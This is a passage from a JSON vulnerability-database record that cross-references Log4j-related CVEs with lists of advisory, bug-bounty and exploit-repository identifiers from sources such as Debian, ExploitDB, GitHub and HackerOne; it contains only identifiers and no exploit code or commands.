"CVE-2022-23848", "CVE-2022-33915"]}, {"type": "debian", "idList": ["DEBIAN:DLA-2842-1:95CB4", "DEBIAN:DSA-5020-1:32A64", "DEBIAN:DSA-5022-1:D26EE"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2021-4104", "DEBIANCVE:CVE-2021-44228", "DEBIANCVE:CVE-2021-45046"]}, {"type": "exploitdb", "idList": ["EDB-ID:50590", "EDB-ID:50592"]}, {"type": "f5", "idList": ["F5:K19026212", "F5:K24554520", "F5:K32171392", "F5:K34002344"]}, {"type": "fedora", "idList": ["FEDORA:0A343304CB93", "FEDORA:548FD3102AB0", "FEDORA:59AA230A7074", "FEDORA:95A5B306879A", "FEDORA:A5A703103140"]}, {"type": "fortinet", "idList": ["FG-IR-21-245"]}, {"type": "freebsd", "idList": ["1EA05BB8-5D74-11EC-BB1E-001517A2E1A4", "3FADD7E4-F8FB-45A0-A218-8FD6423C338F", "4B1AC5A3-5BD4-11EC-8602-589CFC007716", "515DF85A-5CD7-11EC-A16D-001517A2E1A4", "650734B2-7665-4170-9A0A-EECED5E10A5E", "93A1C9A7-5BEF-11EC-A47A-001517A2E1A4"]}, {"type": "github", "idList": ["GHSA-3QPM-H9CH-PX3C", "GHSA-7RJR-3Q55-VV33", "GHSA-FP5R-V3W9-4333", "GHSA-J3CH-VJPH-8Q6V", "GHSA-J7C3-96RF-JRRP", "GHSA-JFH8-C2JP-5V3Q", "GHSA-MF4F-J588-5XM8", "GHSA-V57X-GXFJ-484Q", "GITHUB:070AFCDE1A9C584654244E41373D86D8", "GITHUB:D32BE0B8A571761A967462652837D28F"]}, {"type": "githubexploit", "idList": ["00264586-32AF-5469-819B-90FBDA0B6FF2", "00423BD1-64DA-5DB0-848E-1BACC0883E15", "0099FB22-A94E-5D32-9BC4-2EC6D5CFFA9C", "016A0841-D1FF-5056-B062-0D08FCE624CB", "0241DC13-63CB-580C-BDC6-78F8BB03567D", "0263BC36-BEB1-519B-965B-52D9E6AB116F", "030066BA-6C48-5AD9-9EAF-11DECB6A3930", "034AFC0C-D411-5F4A-BBAB-630A6C972933", "03C230DA-F801-5660-BF8E-AB8F44E2755C", "0420DA06-BC6E-5B30-8BA3-E30BDE351E15", "0568D2CD-87AF-5D34-AA65-868B1DDA0A89", "0577D04A-4517-5872-B4C0-E45DD6246D88", "066BA250-177D-5017-9AC2-6B948A465ABC", "06D271D5-7A61-5692-9778-7F521D52F980", "0793D7AB-F57C-5832-B456-4057704CAEC9", "07C462E5-20A3-5023-B363-47E1B0C1AE4E", "09509FA9-9FC3-5B64-900D-F0842DC8BCF7", "0990FE6E-7DC3-559E-9B84-E739872B988C", "09F9BA9F-83A2-52EF-81A0-214FCD9E240D", "0A26B4F0-3175-58BE-9CE7-133C9D85E181", "0ABA9FB5-93DD-59F1-9580-232DBFBB4AD8", "0B596CD2-49C7-50A8-A43C-8DE3027EC2B7", "0BB19334-D311-5464-B40B-7B27A0AD8825", "0BC62E37-D6E2-5B2C-BF89-3E00D98D2E30", "0C98B78F-B467-5298-825B-05ECB4EE2653", "0CBB2E72-C52F-59B6-BD73-DBDD206C4C35", "0CEA12C7-97F6-5BF5-88FF-6797542A037F", "0D0DAF60-4F3C-5B17-8BAB-5A8A73BC25CC", "0D243A34-B42E-5007-90D0-A30ECABDA204", "0D4B651A-4424-55FE-B496-1BB733DE7EE2", "0D6ADE4E-8BA2-5BA9-94CB-ED90234A9B5C", "0E388E09-F00E-58B6-BEFE-026913357CE0", "0E43C674-363B-53C2-8686-6F412A995AF4", "0E47338D-BDC0-510A-BC15-093F2E1DEF2C", "0E8471F7-D213-552B-ABD8-B3B1FAD4B910", "0E965070-1EAE-59AA-86E6-41ADEFDAED7D", "1097EF60-FC77-5135-B92B-4A84B46FABAF", "111C9F44-593D-5E56-8040-615B48ED3E24", "11719BED-E629-5C79-944E-7E40BBFC460C", "126A30D2-0273-510B-B34A-DF7AE6E0C1C0", "129B39DD-AB9E-54F0-B6B4-5EA17F29B7DF", "12AAE278-1B08-5F3E-AC28-8EC928D3D7C8", "13542749-F70C-5BAA-A20C-8A464D612535", "1370FA0C-A273-5E82-9EEB-7E2E5628D23E", "13EDAA06-F1A5-5097-AD3A-3D6129C325A7", "141F2E38-979B-50B5-B649-96785B255523", "14482532-2406-58DF-89FF-30B085015257", "149F99C3-6B62-5255-8DA6-A0370E6ED5F7", "14E4E272-9457-53A0-ADD5-F91385D04FCD", "161B70B2-DFA5-54B6-A4CE-45B79999AAC6", "16B2ABBF-5997-58A1-A4C9-0161F64D116C", "16C11F1E-B5B4-508E-8238-6BF3458B34D3", "16EB55EE-7CC4-58C7-86AC-E9FD7066B5F1", "170912E2-BB33-5CB8-AD90-C0A737FCAC5E", "17C204F9-DD70-5EFB-89D4-B642E65FAF99", "1AD6F414-6637-555A-AA79-BEE90EDB10AB", "1B11A8A4-B07C-580C-AF38-33A50B17B19A", "1B8CBBEC-5ABA-5792-8D2A-A51EB4CC6352", "1C354B89-0050-508B-98F4-B43CBD84F364", "1CC6B535-3451-5066-8C2E-94551FEC545E", "1CCC4512-40AB-5F72-9913-3D894DB4676F", "1D3D13FB-46D9-572A-A304-FEEC4619D37B", "1E085D9B-26F5-5960-938C-AEB76BCE61D8", "1E42289A-77F8-55A2-B85E-83CAA00CE951", "1E62A076-94ED-5061-AE4F-432BB8D7A59C", "210D354B-2338-5AA4-BB87-981C2D2BAA06", "21AACF78-8053-529E-909E-B6D5158008AC", "21B5671D-2A35-52FF-9702-380A32B96260", "21F23081-849E-5B0D-AB61-A8EB37CA0B38", "21F83D93-118D-50C7-A5C0-B2069237666E", "22AAF71B-053F-5E71-9F26-039C48FCCD62", "22C2FC0C-2C78-5EF7-B21B-5B76E82E2E99", "22C736D4-4179-585F-990B-A40436F65461", "231364E1-A2B1-558A-B805-F242AA97B13F", "23A2D479-181C-599C-9C0F-9A2FF201348F", "2421E200-716C-5F29-84C0-DD8B9C41D92E", "24682F53-DE0E-5967-AAC7-98806644A14C", "24751999-698F-5052-988C-193144F85A39", "24DE1902-4427-5442-BF63-7657293966E2", "254068B4-97B4-5DCF-A60F-5206B6DD230E", "26FD2B5F-2952-5624-8CB5-3ECD4480DA87", "27760EBF-2681-5AF4-B884-18C8BED5127A", "27D73012-7283-5C8D-8197-BBAE1964DEE3", "28B1FAAB-984F-5469-BC0D-3861F3BCF3B5", "29A41C2D-FF26-591A-A88B-DDB396742BBC", "29AB2E6A-3E44-55A2-801D-2971FABB2E5D", "2A95146E-A404-5015-9D39-293C8EAFF4B6", "2AA77664-83AA-50B1-9F4E-37CC67A5CFAC", "2AF28508-1272-5281-BDB7-B44D3EFC7C72", "2AF7350D-AB79-5AB5-8AF9-0F351CE13D30", "2B297EB1-A602-5F7B-B21B-C34BC6EB4308", "2D2BE5CB-742A-5912-9D88-75365533F9E2", "2E7FF2D4-97E7-54F5-A5C8-EACD22FCF303", "2E946B1D-12B1-56D1-A72E-A3026C240B1D", "2EACBFB9-2956-564B-A859-6C85EF9F785A", "2F792C33-6CC6-58F1-9166-4DEA421DE2C3", "2F83846E-DF16-5074-98CB-01158DE1C6C6", "30BD2114-A602-52D3-908F-8B66A46F1A8C", "30C6DF99-400E-539F-AA8D-39E7407F4796", "31E7D7EA-2E1F-59D8-8BD7-81B8A4894F91", "32BB43C3-F80D-5CBF-83AD-55BD38C2A440", "3399B834-8492-5C0C-AA14-7F120BA37AF6", "342CC1B7-6E24-5767-A7B1-90B95A91B503", "34DFC7F1-8012-5B3A-B9F1-EFEDB5F89D1D", "3549B000-260E-5A24-9573-935F898D149C", "356A7EC9-4E47-52B9-856C-0215B3D9C70E", "35A70212-DFFC-5B38-8294-2B835B8080DE", "371D4A15-51B5-520B-B31D-856E557695FD", "3734D8ED-657E-5585-B181-DE9BE2D84456", "37D2BE4F-9D7A-51CD-B802-2FAB35B39A4E", "38AF0E71-397C-5A1E-B67C-5514D8F8ABC8", "39A13697-AF09-5E14-9DE2-045005EA9D85", "39D0749D-74E3-5D08-804A-6E7E52BCE692", "3A118B0C-1B94-5CA7-81D3-2A3230EB4DC9", "3A1D442B-2B5B-5DEA-9276-9A9B6C06C9DF", "3A8F706B-1F40-5DAB-AB25-BA023D568AFA", "3AAA878D-C72A-52A0-A5B6-0977BAF6F01D", "3ACF6BFE-C853-50C6-BD49-B76794B8BA53", "3B7408B1-9041-550E-9CB8-83E5F609C37B", "3D8E1FE1-17FA-5A92-B109-DEDB55A6BEAB", "3DC96731-93EE-5FF0-9AC3-C472059DC1AF", "3DF3AA17-94C8-5E17-BCB8-F806D1746CDF", "3DFE8091-03AE-565B-A198-BD509784502C", "3E142E8E-743B-5786-9EB8-0FED1933F71D", "3EA1CA63-F1F5-5A86-AB97-E327DAE18E93", "3FB46D12-73E5-58EF-BC2A-4FC103B8FF72", "4066A0A4-284D-5ECC-A476-ADDA61AF9A76", "4096BFF5-03AE-5DA0-8AD6-85D69E2570C1", "40C633CE-4DD0-586D-8773-760E9A70FFBD", "4142DC43-FEB5-5B62-B8C7-B2A4DEB336A6", "42098CCD-C708-53FC-B3CD-5A8356B69359", "423CC97A-8BDD-56B9-9449-FC05A902AEC1", "4288177C-C609-5D55-A845-D6785929AB4D", "43159333-A26E-5929-A289-0C84DDCF9DEA", "436B5B97-EF58-5F05-B611-815DDEF67B8A", "43A7C9D3-EBB3-57B1-B8FB-C651B36501C2", "43CEFD04-EB9B-5765-AB94-8FF76127F1F6", "44463794-7940-582A-AFFF-676628A86A72", "444C7644-3DE2-57B2-ACF8-C2B157E07580", "44DBFE24-1B30-510A-8291-B7043C7FF654", "4557B39D-1DE6-59FA-AF6C-935E8BB15AE5", "45E71437-8181-5EB7-91BD-D6E4343DA0AB", "473FFDA9-E615-53B6-9A81-F98A1ABD700E", "47670E23-A165-5F5D-8C90-5C76DA1ADFEE", "479EB930-7609-5244-8E16-0D8689304D86", "4804958E-7699-5226-91C3-8110A4CBAB18", "48821FC8-9320-5568-88A3-9B2CC655ADAC", "4A0D603B-6526-5D1E-BADC-55B4775C354B", "4A3F2A96-B727-5EF1-B1C1-FE041BA02E28", "4B070EB0-B690-5547-8809-F1A697118957", "4B1180FB-F4A3-5FCD-A8D2-65364D1EA9EC", "4B30BFBE-6FDC-5580-9C76-65EA4EBA5DAC", "4B38D813-5C4B-586B-930A-FDDD0FFF304B", "4BD74B8C-D553-57C6-AB15-6B899401AAA4", "4C6A108D-3631-56AD-8C3B-9677A228693B", "4CB3AC5D-871A-50AC-9037-FF9B2CBD474A", "4DBC05D1-8178-5715-953D-61ECC89104F4", "4F11FB83-F6EC-5ED2-B08D-9D86D6104DC7", "4F57CC9C-B908-544E-92E7-92A49DE89B00", "4F757EF2-574B-55C7-A017-51DC8BB28C31", "4FBD8560-2AEB-5AD2-9CA3-4A72DEDDE929", "51879B5C-E36F-52B7-B92C-DBA73A21F67D", "5233D0F2-69A2-5220-8016-07D66C226F01", "52BA1465-B7E9-59C1-A20F-E38A5EAE272D", "52E35A88-6217-55CC-B812-4EE83CECD8EB", "53A3C2F6-6EF2-52C1-924B-F3A9C95C2A88", "542348EC-7B83-50E0-8F9B-B6AE9968059F", "547FC254-3B26-59EC-AF4D-E5954678AC3D", "54AB8DD9-4A52-50E4-9EE2-046EBD899FFD", "54E7D93D-9216-5EDE-A4AD-8324A367E67B", "54FE5E76-EAF4-5D84-B37F-06F12A6AFF71", "553C3CC1-0126-5554-8BE0-5F577271EBF9", "55AD7FBC-06FB-5D26-A3A6-F9E9D63D45AC", "5644D9A0-3A8F-52F3-AE3E-300C79911A07", "57742B88-2AA6-5788-825F-92A73CA85718", "578E61DA-1B13-5170-9DAC-60D30F7F8C99", "588DA6EE-E603-5CF2-A9A3-47E98F68926C", "58ACC402-1947-5FE3-9D08-021A4EFEC48A", "5A5A28A1-2601-54F3-BA06-BCFF1A9DCCA5", "5ABB537C-AD08-57E9-9A29-E747D7C29DE9", "5AE71695-062E-5DBA-9A16-69BD0C7D1384", "5B1D95CD-139F-5304-8B13-BB4EDD912DFA", "5B342AC3-2399-581E-BB6A-2EF19BC35B0C", "5B6C990F-05A3-5D83-83DF-386A34FB8560", "5C040112-8DE7-57AA-B52D-BDD1965D02E3", "5C116D88-E2CC-5BC3-9A71-3174292E227D", "5CEF4882-D1D5-5861-944F-34E8868BF986", "5D72C8DC-DFFD-56F3-A7AC-9FA83C48F460", "5E633D2D-95D0-5498-840F-EA92BF2C5A00", "5E9FB294-1E29-5DE8-A6F6-6D25B08A31DC", "5FB1E3FD-68C6-50CF-85EF-DBFC0B133C24", "5FC55783-FDF5-5AD8-98B2-C1CBFB4EFCCA", "5FDC1BB6-C937-5F78-BB2D-71584272E00A", "6083DCC3-CA9C-58A4-9FBC-983DF1E52584", "608B43BB-B31C-5B8A-A962-A58902AEBF2E", "61AC9232-A772-5D63-9DFC-BFE4976418C7", "62F5F8D4-29D7-5B5C-82BC-3D56E7E8D027", "634605C6-F76D-5EDD-9986-EC4EC593168D", "63500AE8-A10A-5388-B314-001A4CFBDFBD", "6413E08F-7E60-50ED-932E-527F515A6C19", "645452DF-222B-51AD-963D-DB002A1FC803", "64AAF745-D50D-575C-B3FF-A09072475502", "65EB18B2-8DBB-5A70-9080-C6DA4451D7E7", "6600C311-30E5-566D-98F1-AC47E752EBEA", "67E20854-0E30-5FC1-9F24-6A60531BAFF6", "68DCAE72-CB86-55B9-9CB6-653918238C2B", "6A34D9C3-C290-5763-BAF4-F1D6351C4BA2", "6A4495E8-D723-5923-BB6A-B9EA838CF69B", "6AC0E68D-D6F7-55D9-A281-30D7E76D7556", "6BC5CBC6-5A96-5743-8FB7-CEDDF527C52A", "6BC80C90-569E-5084-8C0E-891F12F1805E", "6CC29A1A-24F4-5961-89F9-E7B824C6F37C", "6D93189D-E2D8-5571-88D5-D778E1CB9C23", "6DA59A94-0CD1-5357-8F01-2BF3230F9017", "6E4D24C6-CAF4-5CCB-83A7-844F830C86FC", "6F10C51B-BF15-522B-B1CB-BA95361D556E", "6F20D8B7-C252-5759-B02B-F8E2C9D42E38", "6F251270-3935-58F4-835C-C9D26FA97CD6", "6F7E4100-F6E7-5C57-8A1B-89F03DCC53A6", "6F93E170-75AD-5F5C-B7CC-6C4CEAA695AB", "700E9EFF-DFA6-504F-8DD1-FB1A62E01721", "70582B5B-E1E6-5767-94A6-39740A96A052", "70EDCB3B-9053-5056-980C-AC3123913F04", "71594B4E-D7FE-534F-8E37-71A1EE08E2E9", "71D962ED-2525-53CE-88D0-D8CD92FB0C02", "72881C31-5BFD-5DAF-9D20-D6170EEC520D", "7333A285-768C-5AD9-B64E-0EC75F075597", "743571E7-B8EE-5E77-B047-E2E001379ACE", "74A4D09D-9483-5842-A44A-9DA17D085AF5", "75180259-16B4-5B60-9913-BFC9A306560A", "75876A50-BD9B-5991-9E42-7A343A97C890", "7643EC22-CCD0-56A6-9113-B5EF435E22FC", "76E7C0B8-1EE5-543A-A48E-E3AAEAA8BFF6", "76F6F494-8855-5F94-9675-4474FFFA65A1", "77BE16D3-FEC9-51E3-ADB4-250D5BE6CBD2", "780AD920-FF08-55C6-84C8-A8536C6F5527", "7865A97A-CD10-5E45-9429-CF5F72A6952B", "78C2256A-8ABF-5E34-9268-2EEC0C09E567", "78CE8E59-092E-5214-9D02-A3F5F62F22E9", "7948E878-9BFE-5FEB-90AE-14C32290452F", "798B7BE8-4F94-5D15-A93C-CFE73333BDC5", "799DA5B7-BCF7-56C7-80E8-EAF2351D78F1", "7A3F31B5-D371-54B1-A81B-3863FBC71F0E", "7B2DA44B-D36F-56A4-B4D8-376B8D2F5586", "7B48A97D-242D-55E0-8A13-BD2727C1261F", "7B9BDDBA-81E8-5739-B3F7-419C0D6E2316", "7BB30379-8D57-5FD7-A90C-1A24B1846A23", "7BCC0C24-A1F7-531E-B1BA-342D21C9AF02", "7C3B421E-ED99-5C5F-B2BA-4418307C0EBF", "7D70E261-1C9F-517E-88BB-62776C7EE1F1", "7D82EDFA-5384-53C5-96AD-A99E88471129", "7DE60C34-40B8-50E4-B1A0-FC1D10F97677", "7F93036E-3036-56D2-97C5-CFAEAB8DB6F2", "8021D807-3EDC-55A7-A9ED-A364159FADEE", "817FB04E-AFFE-567B-8A2C-64C0A8923734", "81A94AF3-F3C2-5DAE-9C64-154CF9502B01", "8542D571-7253-5609-BC52-CBCB5F40929A", "865C5B8F-B074-5B0D-834A-E714EB00ADFC", "867C95E5-9596-5E6D-BC2F-FC7A610F3A3E", "8697646B-BC1C-5EEB-84C6-2F209E41B64E", "86CE8F3E-1859-58C8-97B5-8D53531EE22A", "86F04665-0984-596F-945A-3CA176A53057", "87378E23-9FC7-5BA6-BA12-83E90D9581DD", "88EFCA30-5DED-59FB-A476-A92F53D1497E", "8ACDC1C6-CE43-5600-9F6F-644A7AD0DA2B", "8B324F0D-EA80-53B5-8ECF-EB5FC5C0EA13", "8B907536-B213-590D-81B9-32CF4A55322E", "8CD90173-6341-5FAD-942A-A9617561026A", "8D0CF3A6-EC3F-536C-A424-08879FF2F158", "8D604793-908D-5C35-A3EF-6D2688A10312", "8D6FB9A2-59E2-5565-A2C4-B00D9AE074CF", "8E16065C-63FB-554A-B463-A1E8582A334F", "8E1F0596-03B7-5FCC-8A29-3A8B45D02198", "8EDE916A-F04B-59F0-A88D-13DEF969DC00", "8F15A064-7841-5899-84CE-8C298A269F83", "8F362564-1631-5AF9-BB38-D1BFC4678DAE", "8FB716EC-9A35-5F93-9759-B27A58B52CF8", "9227EA61-CA01-5E0A-AF8D-22B03C07A27A", "926942FE-1507-5B71-9266-0A5EDC38EE50", "9297A534-2B19-597A-8952-6EC15EE80BFF", "931205E1-36E0-52BF-A978-D4C326F6A32A", "9326CB66-BADC-5643-B118-F38C39A9E34C", "9327CBCC-5FA0-5155-9C98-3F1488EF2F57", "9366C7C7-BF57-5CFF-A1B5-8D8CF169E72A", "945E86E8-E114-5F51-991C-13742C6EF49E", "9470FC0C-FB21-50C3-B4E9-5AB439EE325C", "94966928-86D4-5285-9A57-CBDD8F2EF438", "94A8FFF1-6A48-57CB-9340-D6806F47EFA0", "94E003E0-82AE-5CFE-8818-DBA1610BDE3B", "95033F5C-FFFE-58C2-9799-C77E326ACD83", "952CB700-FA2F-5221-96B9-2656F967B63E", "958F00F1-C4FC-5213-82EA-290A530F859B", "977D06B3-F888-5FFF-8749-BF8AF7868ED6", "9790154B-5F28-5BD4-8541-6EAA8D3E2B36", "97D358EF-90F6-5D12-981B-DAFEB56F784F", "97F1C960-A343-5B1E-B261-4834CF80B790", "98CA9A39-577D-51F2-B8B9-B20E80D94173", "98F6C0C3-FC5E-5580-A148-55F2368B18C1", "99A0AA73-B93D-56EF-930D-4FD64A4F4D35", "9B0163DC-EE41-5E66-9AA8-A960262A2072", "9D8C431A-57F3-560C-8146-1232C2C029C2", "9DAC062A-CFE4-5BB0-983A-8BAB512CF589", "9E16D977-AA24-57C3-9BD1-98296F3186F5", "9E4C737D-2D3C-5A43-B638-E131903225BC", "9F3ABA17-E33A-5018-9DCB-AECDD8DE9DEE", "9FE4ADCA-7F2C-505F-AE74-C635FF2CDF75", "A19F503A-900B-5929-8182-4BD7B1043185", "A1E14906-26B2-5DF8-95E3-07736CC5DDF2", "A39E4181-7C85-5B10-B0F9-AD286D09BD2A", "A454A9CC-C18E-56A1-B166-1A0E244E0493", "A57FBD78-A654-5CEE-8291-163C8AFB7210", "A5B4FB6B-123B-544F-A4E4-46B0595C1C72", "A6308120-6A99-5D2D-A1F7-6384AC37959C", "AAD37CB5-B2C3-5908-B0D3-052CF47F6D25", "AAFEAA7E-81B7-5CE7-9E2F-16828CC5468F", "AB5B35BD-2A55-5B27-A126-0CF1A7E7B145", "AB801839-51E0-5EFE-B00D-ABBB6391399A", "ACB6C453-F1D5-5A65-91C2-DF455B997075", "AE0FE928-3464-53AA-BBD2-B3F9E871CEDD", "AF45C6B5-246A-5363-8436-954018BD121C", "AF45D2D0-2D0E-5BD1-89DC-2E2C8E440A75", "AF93C0CA-BFDD-5C90-9D8D-55350790E1D1", "AF987350-FFD2-5814-AF7B-55862F1A8AFE", "B03B4134-B4C9-5B2D-BA55-EEEA540389F4", "B09C4EFC-2C66-5CA8-910F-E21D17B89608", "B22E3A22-BF14-5660-977A-2D28D2AA2500", "B32ED3B3-2054-5776-B952-907BE2CBEED6", "B4A4F7BE-BF43-5BB6-A4A7-A22C6B9DDCA5", "B596B144-65DB-5863-8244-67AEE883C50E", "B6987F3B-86A1-5FDC-AD92-EAF6D264C14A", "B7D137AD-216F-5D27-9D7B-6F3B5EEB266D", "B8D5B910-B397-520E-9526-FE32D86E93D8", "B8D9E2C0-202B-5806-88D2-B0E797582618", "B9A69678-D96F-528D-B436-366259B4A283", "B9C2639D-9C07-5F11-B663-C144F457A9F7", "BA8F1657-CF64-574C-81BA-6432D5A351D4", "BD1B0180-DA8D-5255-B3FE-EB6CBC730206", "BD33CC4D-EC56-5A22-A712-1B23F8FB141D", "BDFBDA81-0DEB-5523-B538-F23C3B524986", "BE4B2B71-B588-5666-9A02-7855DBD45762", "BE66A9B6-104B-5F49-918A-8B913CE46473", "BFB49B3A-706B-5625-9899-54FCB1EE767B", "BFBBD550-B2CF-524B-87F6-D0A8980CDFD3", "C0AE83D0-09A6-58EA-A244-1E453E699C04", "C14C47DA-F04C-56CC-955A-FF12A410D2F5", "C1878361-BBB3-5A2F-8212-945883518690", "C20BAC49-21F2-5BE4-B97B-2561BD95A1A8", "C306DCEF-59B3-5147-8169-3674490BD35F", "C3153E8C-0590-5D96-8EDC-AEE7E129246E", "C3C6029E-8A78-5C0B-9CF6-51489E455464", "C3DA2A71-DD68-5EF3-AC4C-5A10DECD333B", "C3E394AB-E22C-5A6A-B5AF-2A497DDAC7BA", "C45EBEA7-DE2F-5373-9AA5-334E20EA2D23", "C5531AD4-9DFE-5A81-97D2-D34FD02E2AD6", "C60B1B73-A009-5CE1-9D6C-3B66270812FD", "C640B511-D1E9-5F57-964D-3826F1C68DF8", "C68080B0-3163-5E76-AD65-2B454DBB95EE", "C6C5DB3A-FC0D-58BE-B769-D097420B7716", "C72759ED-7C42-593C-A3C7-94E2CDB2B105", "C7617E51-4166-5517-879D-6385309E13D8", "C76F7089-967B-5A7F-B8DA-629452876A2A", "C772DCBB-20D0-51DD-A580-F96689E65773", "C7EE8D86-B287-50F5-B8C2-05E11E510900", "C96865D9-B80D-5799-9EB6-DDF13650F0AA", "C9E3963C-74AF-51D2-ACF7-7687E92D049F", "CA408205-D32D-5A33-B1AF-0B863641C7FC", "CA625124-9F92-5FCF-83A7-3ECF5F0EBBFB", "CA8D6F85-3A73-5070-B9A0-3A47FAE2C784", "CB9B5FAA-47CA-5D85-91B9-0AC5179D527B", "CBCB527D-3C29-5E5B-8C71-D7F20AB001D0", "CBEB0168-C1C9-5A9B-8B92-83E1054E44EA", "CC4175EB-3B91-5ABB-A700-84FC1105AAD5", "CC6DFDC6-184F-5748-A9EC-946E8BA5FB04", "CCA69DF0-1EB2-5F30-BEC9-04ED43F42EA5", "CD2BFDFF-9EBC-5C8F-83EC-62381CD9BCD5", "CF96C0AC-16EB-57DE-B450-775CC256F1C2", "D02E385B-76D7-5BDB-A49C-CE858BEB0009", "D089579B-4420-5AD5-999F-45063D972E66", "D0B02251-DCA3-58B6-B887-D339C4EAABF9", "D107A97F-1C44-59AB-8FFE-803D1DC21EA3", "D1E393B9-589D-5A20-8799-0F762FD361DA", "D21F1D28-2C44-5969-8F84-E5C6FF67DCFC", "D2602292-4969-564A-915E-2EFC6661FA35", "D298A3C8-E215-5549-B1A0-D01215070203", "D5003B3C-B1D9-5840-816F-1AFEBCAC7FD3", "D536CD4F-33F2-570F-BA34-54E141F1132C", "D64C04EA-093F-5924-A39B-714908D4637E", "D6EE5F29-18C9-5E59-B9E2-01DC93F5ACE9", "D72095BC-06C5-50B2-8F66-EC86811783D3", "D77DEF60-6E7D-5708-B9F2-DB4EA3E38C23", "D77EE79D-71A5-51BA-9A16-DC757F86CC50", "D813949A-183D-55ED-AF64-B130B8F95A56", "D8246B9C-AC86-5FFA-AA8F-4419E4CD07F1", "D9F6E4B0-AC2C-5A70-B795-360757BE02D2", "DA01F84A-9B1D-5337-A465-2A9AB088C056", "DAB5D6B4-8A2D-58C0-835F-DA4F27B2142D", "DB81B174-C3E8-5B08-80E4-A6D768400C4A", "DBBD6963-3870-5117-A829-3DE976AE90E2", "DD5D2BF7-BE9D-59EA-8DF2-D85AEC13A4A0", "DE88B6AE-5D54-5B49-A097-57038C720463", "DECBAC7B-9235-5E00-81C1-142CD41306FB", "DEE433F2-3A1C-513B-AE6B-E11EFFB5A8E4", "DF28DCE7-CCFF-5653-81BA-719525BE09AD", "DFF2F784-9ED2-50EF-B79E-3EBF5A9B5428", "E0452D6A-51BC-51F5-9C1C-6CF01DA2805E", "E06577DB-A581-55E1-968E-81430C294A84", "E0A2EF02-5087-5522-ABA0-52F4142BB87B", "E1457E6C-87A3-5557-A3F2-175005D2A765", "E1ABFD41-98C8-576F-8509-5541B40FD442", "E235B3DF-990F-5508-9496-90462B45125D", "E278D22E-7EC5-5A63-ADFC-EDEFDC650AA1", "E4103A50-881C-52BB-86CC-27F549B798E9", "E4491698-477C-599A-A65D-EBA7441764E9", "E4E73A91-5275-59C0-AB2A-7F3EE83DDE28", "E5280802-AB3D-5E96-83E0-97F22FB9EACA", "E59C9A70-6F3E-5CF6-9F15-B0039E0FBAF1", "E655806B-A2A8-5BCB-A30A-0120CA3E97A6", "E6E03693-50B8-5AB4-B766-8464A228BA02", "E7D3FB75-54DE-5CD8-83D6-438BFC7CFA74", "E82ECEEF-07B8-5340-BAC6-FA5B0E964772", "E981B35D-7356-5A5A-963A-744545A4E51C", "E9B21C59-ED98-5B3B-A993-F1C214F8796C", "E9DFB8EA-B99D-5022-ACE6-5A42D0D6A350", "EA1AF0D9-1E6E-5080-BB7C-9D6035795FFB", "EA3173CE-C426-5047-864A-480B1A30F235", "EA3C5D7E-0CC8-5AEC-8D7F-3C245A834DDA", "EA906824-9149-507D-893C-87A7FED8998B", "EB648301-A198-5E4A-A72E-9639ED09F6C9", "EC0987E2-0001-5D63-A5AF-09675A5915BD", "EC35769F-2EAD-5464-8F97-D90F768E1E2D", "EDDA4558-9527-5BDE-86E3-23DDD0BA5443", "EE01D764-5F14-5C0A-BD77-8E32854C5216", "EFD098FC-90C8-5665-98B7-79C96C6AEBAE", "F1347375-6380-5145-9881-486B76875649", "F1B229EB-2178-53B9-839E-BA0B916376A2", "F1D342BE-E1E0-5B33-A19B-E2EB9E3E7C80", "F1E9BE6D-4024-56FB-80BB-B10ED5889144", "F208D311-79CA-5A2C-AE81-591BA4D30750", "F2F2719B-7041-5D1A-A95A-7617360B1D08", "F32DF396-0485-5F43-8A52-31B8DD252790", "F388C84A-40DA-58BC-BE0A-74C7E1712C54", "F3A40027-6DB5-509C-81CF-473DE3BEF46E", "F493C59E-F2A7-52D1-B4B5-69CD3748C5E9", "F4C136DE-892B-5921-8475-E30BD548DDBB", "F50E9F2C-8C80-5A76-A993-A3E42414D797", "F523E799-3659-532F-8EED-40AD7F79E752", "F594470D-2599-5B2E-B317-C9720581C07D", "F5CEF191-B04C-5FC5-82D1-3B728EC648A9", "F7994B92-2846-5644-8B68-EFB6DFB95ED2", "F92F972D-7309-5D0B-BCC2-054883AE83E9", "F99D82FC-3BE5-5B6D-8FDC-0E5BF9C0CE58", "FB593988-2CFC-5828-8229-9274AC7B0F86", "FB65C479-F4E7-58BA-BC4A-AED04F10A11C", "FB83113C-AABD-5893-8DDE-332B57F4FDD4", "FBB2DA29-1A11-5D78-A28C-1BF3821613AC", "FBC9D472-5E25-508D-AB6E-B3197FCFED2D", "FD364396-D660-5D23-8323-23248A5108C5", "FD65F47A-0B60-5F08-BFC2-1ABD16F49781", "FE8572DF-42D4-521C-B3DC-4715C2F9240D", "FEFA5AE8-5C94-5174-B44C-AC52B9AEAEAD", "FF761088-559C-5E71-A5CD-196D4E4571B8"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:3A510C521DE8145372456D2B0FE8C8E5", "GOOGLEPROJECTZERO:3B4F7E79DDCD0AFF3B9BB86429182DCA", "GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156"]}, {"type": "hackerone", "idList": ["H1:1423496", "H1:1425474", "H1:1427589", "H1:1429014", "H1:1438393", "H1:1624137"]}, {"type": "hivepro", "idList": ["HIVEPRO:0D02D133141B167E9F03F4AC4CA5579A", "HIVEPRO:1BBAC0CD5F3681EC49D06BE85DC90A92", "HIVEPRO:205916945365E4C9EB9829951A82295A", "HIVEPRO:28A01D4CBC8A05BECFBA17B5AF4793F1", "HIVEPRO:310F7AA9457FF55D42E100B468844E6D", "HIVEPRO:5339CBE01BD312A79B81CAAEE0F3B32E", "HIVEPRO:57EAE0D1FD9EA88C12142AFF641985C3", "HIVEPRO:753BDE83C1D82672DBEDB937144E1598", "HIVEPRO:8D09682ECAC92A6EA4B81D42F45F0233", "HIVEPRO:8DA601C83DB9C139357327C06B06CB36", "HIVEPRO:B25417250BE7F8A7BBB1186F85A865F9", "HIVEPRO:B772F2F7B4C9AE8452D1197E2E240204", "HIVEPRO:C037186E3B2166871D34825A7A6719EE", "HIVEPRO:C0B03D521C5882F1BE07ECF1550A5F74", "HIVEPRO:E57DA2FED4B890B898EFA2B68C657043", "HIVEPRO:E7E537280075DE5C0B002F1AF44BE1C5"]}, {"type": "huawei", "idList": ["HUAWEI-SA-20211215-01-LOG4J"]}, {"type": "ibm", "idList": ["004795EC88EC224A6BFB93940B96344B4EB9FAFDD91D056225AB0FB24FFE6CFE", 